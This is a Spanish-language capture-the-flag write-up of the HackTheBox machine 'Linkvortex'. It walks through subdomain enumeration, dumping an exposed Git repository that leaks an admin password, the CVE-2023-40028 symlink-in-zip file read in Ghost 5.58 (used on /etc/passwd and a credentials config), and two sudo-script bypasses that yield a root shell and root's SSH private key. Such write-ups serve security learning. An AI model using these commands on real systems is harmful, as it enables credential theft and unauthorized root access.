Writeup: Linkvortex

Plataforma: HTB

Dificultad: Fácil

Fecha de resolución: 01/07/2025

Linux Pentesting Web Ghost SymLink

Descripción

Imagen de la máquina

Es una máquina de dificultad fácil con sistema operativo Linux. Se centra en la explotación de enlaces simbólicos (symlinks).

Temas

• Enumeration Subdomains

• Directory and File Listing

• Discovering the Ghost Auth Panel

• Discovering the Ghost Project (.git)

• Listing Logs and Updates for the Ghost Project

• Information Disclosure in the Ghost Project

• Exploiting the CVE-2023-40028 Arbitrary File Read Vulnerability in Ghost 5.58 (/var/lib/ghost/config.production.json)

• SSH Intrusion

• Abuse of SUDOERS Privileges with the Clean_Symlink.sh Script (Privilege Escalation)

Reconocimiento

Inciamos comprobando si se tiene conectividad con la maquina

ping -c 1 10.10.11.47
ping

Enumeración

Iniciamos reconocimiento con nmap y se detecta que se tiene el puerto 22 y 80 abiertos. Se detecta un nombre de dominio por lo que podemos determinar que se esta aplicando Virtual Hosting linkvortex.htb

nmap -p- --open -sS --min-rate 5000 -Pn -n -v 10.10.11.47 -oN SPorts
nmap -p22,80 -sCV 10.10.10.245 -oN Ports
nmap

Enumeración de tecnologías

Se detecta CMS Ghost 5.58

whatweb

Pasando a revisar la pagina web, la empresa ofrece informacion de componentes de computadoras

web

Se realizo un descubrimiento de subdominios con gobuster y se detectó el dominio dev.linkvortex.htb

gobuster vhost -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u 'http://linkvortex.htb' -t 200 --append-domain
gobuster

La paigina encontrada solo revela que aun se encuentra en construccion

gobuster

Buscando en el sitio linkvortex.htb apuntando al fichero robots.txt detecto que tenemos una ruta con nombre /ghost, al apuntar a esta me redirecciona al panel de autenticación de la aplicación http://linkvortex.htb/ghost/#/signin.

panel

Después de realizar enumeración sobre el dominio y subdominio se detecto que se tiene el proyecto Ghost en raíz, por lo se utilizan técnicas y herramientas como git-dumper para extraer el proyecto completo del sitio web

git

Se utilizar git-dumper para traer el proyecto.

git-dumper

Se tiene información interesante al revisar el proyecto como por ejemplo un archivo llamado dockerfile.ghost que es un archivo de texto que contiene indicaciones para crear una imagen Docker.

git-dumper

Revisando el estado actual de repositorio con git status tenemos que se agregro Dockerfile.ghost y se modificó el archivo authentication.test.js y buscando los cambios ya añadidos con el comando git diff --cached podemos ver un password

git-dumper
git-dumper

Intentamos obtener acceso al dashboard del usuario admin@linkvortex.htb y las credenciales son exitosas.

git-dumper

Explotación

Buscando en la web podemos detectar que Ghost 5.58 tiene una vulnerabilidad añadida que es Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028 este nos permite crear un link simbólico a partir de una imagen ficticia que al cargarla en formato zip podemos leer archivos internos del servidor apuntando a la imagen.

Codigo del exploit

git-dumper

Realizando la prueba de concepto creamos un link simbólico que apunte al /etc/passwd utilizado la siguiente estructura de directorios.

mkdir -p /content/images/2024/
ln -s /etc/passwd /content/images/2024/testing.png
zip -r -y “Comprimido.zip” content/

Listo, ya tendríamos nuestro archivo zip malicioso, subimos el archivo en el apartado de settings/labs

git-dumper

Al buscar nuestro archivo .png en la ruta indicada /content/images/2024/testing.png Nuestro archivo fue creado con éxito.

git-dumper

Para poder leerlo lo hacemos con curl

curl -s "http://linkvortex.htb/content/images/2024/testing.png"
git-dumper

Revisando el documento dockerfile.ghost, existe una ruta de configuración que puede ser relevante si buscamos detalladamente, por lo cual crearemos otro link simbólico que apunte a la siguiente dirección /var/lib/ghost/config.production.json

git-dumper

Subimos de nuevo un archivo .zip pero detectamos que se sube en el ultimo directorio que se creó, posiblemente al subir el archivo la aplicación gestiona donde almacenar las imágenes y los manda al último directorio creado, pero se tiene éxito. "Detectamos credenciales del usuario (bob)"

git-dumper

Intrusion Mediante SSH

git-dumper

Escalada de Privilegios

Tenemos que el usuario actual bob tiene un privilegio a nivel de SUDOERS

git-dumper

Esto significa que el usuario bob puede ejecutar como cualquier usuario sin proporcionar password /usr/bin/bash /opt/ghost/clean_symlink.sh *.png

Metodo 1

Investigando un poco el script clean-symlink.sh, se detecto que tiene dos errores o formas de realizar bypass a las validaciones que realiza el script. Primero tenemos que en el script se hace mención de la variable CHECK_CONTENT, Con env_keep+ “Esto significa que puedes pasar tu propia variable CHECK_CONTENT al script ejecutado como root”

git-dumper

Esto permite definir el valor de la variable obteniendo una bash como root, solo si se cumplen las condiciones del script para llegar a ese punto de la ejecución.

git-dumper

Comandos:

touch file.txt
ln -sf /home/bob/file.txt test.png
CHECK_CONTENT=bash sudo -u root /usr/bin/bash /opt/ghost/clean_symlink.sh test.png
git-dumper

Metodo 2

La validación del enlace simbólico es demasiado genérica, por lo cual se puede realizar un bypass de la validación realizando un doble enlace simbólico, ya que, si al validar el enlace apunta a etc o root, realiza un borrado de este, pero se puede agregar un link simbólico de un archivo a otro, y como solo implementa una validación, la segunda apuntara al archivo que nosotros queramos como por ejemplo id_rsa - root

git-dumper

Comandos:

ln -sf /root/.ssh/id_rsa file.txt
ln -sf /home/bob/file.txt image.png
CHECK_CONTENT=true sudo -u root /usr/bin/bash /opt/ghost/clean_symlink.sh image.png
git-dumper git-dumper

Pwned!

Relaciones con otras máquinas

Recursos

Referencias